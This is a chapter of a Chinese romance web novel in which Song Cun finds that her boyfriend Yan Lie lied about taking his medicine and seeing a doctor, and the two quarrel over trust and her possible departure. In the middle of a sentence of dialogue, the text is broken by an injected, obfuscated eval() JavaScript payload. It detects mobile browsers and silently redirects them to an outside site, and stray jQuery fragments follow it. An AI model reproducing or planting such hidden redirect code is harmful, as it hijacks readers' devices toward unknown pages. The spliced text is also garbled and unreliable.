宋存有一场演出在香港，出差一个周。按照惯例，演出结束后，又附带了一场大师交流会。本来还有些担心手伤会有影响，实际现场的演出片段基本看不出痕迹，这也正式宣告，她要全面恢复工作了。


    关于两个人即将异地的事情，他们还没正式讨论过。


    她赶在周五的下午回了京市。


    天气热得太快，茂盛的梧桐叶子在炽烈的阳光下变得焦脆，记得走的那天风还是凉的。


    她推着行李箱进门时，屋子里空空荡荡。


    阿姨在打扫屋子，看见她进门，赶紧过来帮拿行李，宋存示意自己来。屋子里没人很正常，今天是工作日，言列肯定在上班，就算不上班也不会这么早回家，她怕添乱，刻意没告诉他。


    阿姨递给她一杯鲜榨的果汁，她视线扫到茶几上原封不动的药。


    走的前两天，言列头疼，就让医生给他开了点药。她蹙着眉，把包装袋一起拿在手上，翻来覆去地看。


    她还特意放在显眼的位置就是怕他忘记，结果走的那天是什么样现在就是什么样，一颗没吃。


    最关键是，他们每天通电话，他都说吃过的。


    她问正在打扫的阿姨，“言列这周有没有回来吃过饭？”家里一共有两个阿姨，分工合作，言列不喜欢家里人多，她们都不住家，早上来，晚上走，吃饭就提前讲。


    阿姨见她神色不好，委婉着陪笑，“这周我来得少，还没做过饭。”


    宋存没再问，告诉阿姨自己在家里吃晚饭，简单做点就行，说完推着行礼去了卧室。


    桌子上放着三菜一汤，她一个人吃不了多少，让阿姨陪着一起吃。吃饭的中途谁也没再说话，吃完晚饭，宋存换了身衣服出门，让阿姨收拾完就可以走了。


    韦敏刚刚给她打电话，问她有没有时间出来见两个音乐人。阿姨吃饭时说这一个星期都没见过言列，她估摸着他今晚也不会早回来。


    坐在车上，看街边的霓虹倒退，脊背贴在皮椅上有几分冰凉。阑珊的灯火，把长街照出幻象。城市的繁华令人迷失。


    车里气压有点低，她倒算不上生气，只是有点不明白，这样的事情至于骗她吗？还是说在他的心目中，瞒着她已经是一种习惯。只要他认为没必要让她知道的事情，就可以随口编造。


    以前就是这样，小到一个伤口的来源，大到生死的关卡，他从没说句真话。以前她可以容忍这样的事情，不代表现在也可以。


    工作再忙这点事情不至于做不到，无非就是敷衍她罢了，觉得她不会真的在意，可能也觉得她不是真的关心他。


    宋存突然觉得有一点可笑。


    从会所出来时，韦敏叫了老张来送她，他们还有下一摊，她不想参加了。宋存在路边等了会儿，细雨霏霏的黑夜，枯黄陈旧的路灯，自带一种沧桑感。


    她对着车驶过来的方向抬头，看到了一个熟悉的身影。


    身形颀长，孑然而立。


    臂弯上搭着件西装，上挽的袖口，露出一截手臂，衬衫的纽扣也解开了两颗。微微垂着头，站在路沿边，身边围着几个人。


    闻帛昇手上掐着烟，对着身旁的人说着什么。


    完全背对着她的男人穿一件发紧的衬衣，手放在一名高挑丰腴的美女腰上。全场数他动作最大，说话时身体摇摇晃晃的，手也不老实。


    转过来的一瞬，宋存好像认出了那人是谁。


    车停在她面前的时候，她什么也没说，拉开车门走了。


    宋存刚回到家，电话就响了。她开了灯，手机扔在沙发上懒得接，自动挂断后就没再响。看来并没有看见她。


    刚刚也在想，如果接起来问一句回家了吗？头疼好一点没有？得到的回答会不会和前几天一样。


    但是说真的，她怂了，不敢试。她不是一个擅长自欺欺人的人。


    言列回来时发现屋里灯亮着，又在门口发现她的鞋，瞬间来了精神，他直接走上了二楼。宋存坐在走廊尽头的小书房里。


    这间书房很空，书柜上有几本零零散散的书，都不是她的。她没想过要不要长住的问题，自然没打算这些。


    实际这房子里很多房间她都没进过。


    言列看见她一个人坐在椅子上发呆时，心一下提到了嗓子眼。他想冲过去抱她，却在迈出几步后改了主意，站在不远处问她什么时候回来的。


    宋存看着他的眼，很清醒，“下午回来的，想着你在忙，就没给你打电话了。”总不能像他一样，为了那些虚假的安心，说一句刚回来吧。


    其实活在这个社会里，有些应酬很正常。只是刚刚那一幕，让她领悟到有些问题不是回避能解决的。难道他们真的如妈妈说的那样，无法真实地面对彼此吗？


    言列走过去揉了揉她的头发：“我不忙，你吃饭了没？”


    “吃过了。”突然的靠近，宋存嗅到他身上的味道，烟酒味夹杂着香水味。她往后退了退，绕着他出了门。


    言列跟在她身后，看着她从柜子里拿出换洗的衣服，又好像没什么异常，“有点困，我先去洗澡。”


    门一关，两个人都屏住了呼吸。


    宋存洗完澡出来，言列还穿着外出的衣服，坐在未开灯的卧室沙发上一动不动，月色从窗纱倾洒在他身后，他的脸孔静谧而落寞。


    情绪是很直观的，纵然她什么也没说，他也能感觉得到。他不说是因为不知道说什么，他还没弄清楚她为什么生气。


    她从柜子里丢了件T恤给他，“快去洗澡，很晚了。”


    言列像是刚回过神来，拽着衣角，僵硬地点了点头。


    宋存离开时给他开了卧室的灯。


    她去了一楼的厨房，从冰箱里拿出两个雪梨，又找到一些大枣和枸杞。他脸色不好看，一开始眼尾泛着红，现在却是苍白的，想必是酒喝太多了，还没缓过劲儿来。


    她刚盛出一碗熬好的梨子水来，言列就下了楼，只是他还没洗澡，穿着那件衬衫，微微敞开着领口。


    以前老爸喝醉酒回来，老妈最常做的就是这个，酸酸甜甜的梨子水，她有时也跟着蹭一碗。老妈说做这个最简单，水沸了滚两圈就关火，又解酒又省时间。


    言列没想到她在忙活这个，眼睛亮了不少。宋存招呼他过来坐，再把碗推到他面前。


    “你不喝吗？”他开心地笑了，刚刚应该是想多了。


    “我不喝，我又没喝酒。”


    “那个....我就是晚上。”他拨弄着勺子，想解释点什么，“有点事，所以今天回来晚了一点。”


    宋存点点头，手心绕着一杯白水，“我晚上看见你了。”


    “看见我了？”汤匙碰到了碗壁，发出一声脆响，“在哪里？怎么不叫我。”


    “路边。”宋存没看他，“看你们在谈事，我就走了。”


    言列捻了捻温热的指腹，眉宇间在思索，“那个是....”


    “我知道，我认识他，张一良。”她坐上车，就想起那个不规矩的男人是谁了，圈子里有名的风流公子哥，比他们大个十来岁。


    “你认识他？”言列有一点惊讶。


    宋存点头，“我认识他前妻，林璇姐。今天那个是....”好像听说他二婚了，今天那个看着又不像。


    “那个.....不是他老婆。”言列脸色尬了下。


    宋存倒是面不改色地一笑置之。其实老妈给她八卦过很多，这种事也没什么稀奇的，圈子里多了去了。


    基于这一点，她不怎么和这些人来往，章舒窈反倒是看得很开，还故意给她讲些负面新闻。


    言列踟蹰着，不知道该不该多讲一点，又看她自顾自喝水，像是并不感兴趣的样子。


    宋存的确一般，他的圈子她大概知道一点，坐在一张桌子上，难免有来往，无可厚非的，管好自己就行。


    她余光一顿，突然伸手抹了一下他的领口，上面有一根头发。这一个猝不及防的动作，一下子让言列紧张了起来，指骨掸了掸衣领，目光溶溶地解释道，“我不知道这个是——”


    “应该是我的。”宋存打断他，扔掉了那根头发。


    言列蓦地松了一口气，又紧张起来，觉得不该这么大反应，他本来也没做什么啊。


    宋存目光落在他碗里，“你要是喝不下就算了,”


    “我要喝的。”他捂着自己的碗，“你给我做的我要喝完再睡。”


    宋存：.....


    她没控制好水量，煮挺多的，肯定喝不完，“你就喝这个就够了，剩下的放冰箱里。”她说完，起身去厨房收拾。


    言列去了二楼洗澡，她把剩下的梨子水冰镇起来，关掉了一楼的灯。


    言列洗完澡，从后面抱住了站在落地窗前的她，新长出来的胡渣轻轻摩擦着她的额角，交错的影子在玻璃上透出模糊不定的轮廓。


    宋存反手摸了摸他的脸，示意他别闹。


    “你是不是不相信我？”他圈住她的腰，在她耳边呢喃着。


    “你去医院没？”她不为所动，任由他的手指摩挲自己的手臂。


    一句话问懵了言列，他这才想起来这件事，自然是没去的。宋存扭头看他，目光很平静，“你说你去了，是真话吗？”


    “我.....”他垂下眼，气息洒在她额头，语气很慌乱，“那个....医生给我打电话说没什么，我就，”


    “医生让你去做深度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343689|171083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    检查。”宋存不留情面地再次打断。


    明显是有备而来，言列哑口无言，手上悄悄用力禁锢住她。


    “算了算了。”宋存突然觉得没意思了，“等你有时间再去吧。”说完挣开他的手，准备去床上躺下。


    另一个人在原地疯狂地想着对策，他只是觉得这件事没那么重要，所以压根儿没放在心上，没想到她会这么在意，还打电话去问。


    “你还没收拾东西是不是？”他看着角落里没开的行李箱，声东击西，“你先休息，我帮你收拾。”


    “放在那儿。”她不露声色道，“先不用收拾了。”


    “为什么不用收拾。”他拔高了音量，想到了她妈妈的话，有一些不好的预感，“你要走了是吗？你要听你妈妈的话，你还是不相信我？”


    宋存莫名看了他一眼，说真的她没想到这个问题，只是觉得今天太晚了，他们都需要冷静冷静。


    “你听到我和我妈妈打电话了？”


    言列眼神沉下来，“听到了，但我不是故意的，我在里面的储藏室收拾东西，你没有发现，所以我就。”


    “没事。”宋存平静说，“也不是什么见不得人的话，如果有冒犯到你，我替我妈道歉。”


    她风轻云淡的态度，像是一种嘲弄，嘲弄他太当一回事，嘲弄他完全看不懂她。嘴角掀了掀，说了一句不该说的话，“你妈怎么会冒犯我。”


    宋存拧了拧眉，眼睛里有一点情绪。她知道只要她现在添一片瓦，两个人之间本就松散的桥，会立刻垮塌。


    所以她选择闭嘴，“我妈妈不是很了解你，我会给她解释的。”


    “你要走是不是？”他冲过来，居高临下地看着她，用侵略性十足的眼神。


    “言列。”她也生气了，与他对视着，“我妈妈或许说话不那么公正，但是有一句话是没错的。”


    “什么？”


    他的脸比刚刚又苍白了几分，宋存看得有点心疼却没心软，“我们只是正常谈个恋爱而已，不存在谁可以强迫谁，我要想走我随时可以走。”


    她说完，手指偷偷握成拳。


    壁灯打在他脸上，突显了身后的暗。他在片刻的失神后，无奈一笑，“行，你要走就走，谁敢拦你。”


    宋存被这句话堵得慌，“啪”地一声关掉灯。


    她真的很怕再这样说下去，什么都能蹦出来，就真收不了场了。某种程度上，她和言列的个性很像，他们都是那种绝不愿勉强别人的人，就算勉强了，也不会承认。


    她掀开被子，转身闭了眼睛，她命令自己快点睡觉，明天起床就好了。


    宋存不知道自己什么时候睡着的，更不知道他什么时候躺到她身边的，她是被章舒窈的电话吵醒的。


    看见来电时，顾不上别的，赶紧坐起来，手指捋了捋杂乱的头发，尽量让自己声音听起来清醒点。


    “你还没起床？”章舒窈一秒就听了出来。


    ......好吧，白折腾了。


    搂着她腰的手紧了紧，本来想凑过去使坏的，一听是她妈妈，又撤了回去。可不敢在太岁头上动土。


    宋存连说了几个好，便挂了电话。掀开被子时，看都没看旁边人一眼，抓紧时间去浴室洗漱。她答应了今天要回家吃饭，现在已经晚了。


    言列这里到大院，起码一个半小时。


    她洗漱完立刻换了衣服，下一楼时看见言列正端了餐盘出来，装作无事地叫她，“你不吃早饭吗？我都做好了。”


    她咬了咬自己的下唇，把衬衫扔在门口又折了回来。


    面对面时，她才看清，他的脸色比昨晚还难看，像是熬了几天几夜又强行抹了一层粉上台，完全是不健康的白。


    她咬着嘴里的鸡蛋三明治，还是一句话都没说。


    “你要出去吗？”言列在给她倒牛奶。


    “嗯，我要回家吃饭。”他明明已经听到了。


    手指偷偷用着力，他不死心地又问了一句，“不能不去吗？”


    “不能。”宋存斩钉截铁，“我只是去吃顿饭而已，每次回来我都要回去的。”


    言列避开了她的视线，眸光沉了几分。可是现在情况不一样，吵了一架，她妈妈又是那样的态度，回去再说点什么，他真是不敢想。


    宋存快速吃完三明治，只喝了半杯牛奶，擦了嘴就要走。


    言列端着牛奶跟在她身后，左挡右挡地干扰她，非要她喝完再走。她忍无可忍讽刺他，“你觉得你能把我锁在家里吗？”


    “你以为我不想吗？”


    吼完这句话，杯子里的牛奶摇晃着差点溢出来。


    宋存深深看了他一眼，“砰”地一声，关门走了。